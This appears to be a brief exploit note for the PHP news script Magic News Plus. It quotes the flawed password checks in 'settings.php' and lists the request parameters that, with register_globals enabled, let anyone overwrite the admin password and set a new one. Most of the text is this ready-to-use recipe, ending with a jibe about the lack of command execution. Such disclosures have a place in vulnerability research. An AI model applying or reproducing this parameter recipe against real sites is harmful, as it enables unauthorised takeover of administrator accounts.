#
# An input validation flaw exists within 'settings.php'
# of Magic News Plus which can lead to the changing of
# the administrative password. Here is where the problem 
# is (line 108 of 426):
#
#       ...
# [1]   elseif ($action == "change")
#	       ...
# [2]	   if ($passwd != $admin_password)
#		       ...
# [3]		   if ($new_passwd != $confirm_passwd)
#       ...
#
# 1. &action=change
# 2. &passwd=<ANYTHING>&admin_password=<AGAIN>
# 3. &new_passwd=<NEW>&confirm_passwd=<AGAIN>
#
# -> register_globals = on
#
# haha, sorry, no cmd execute this time.
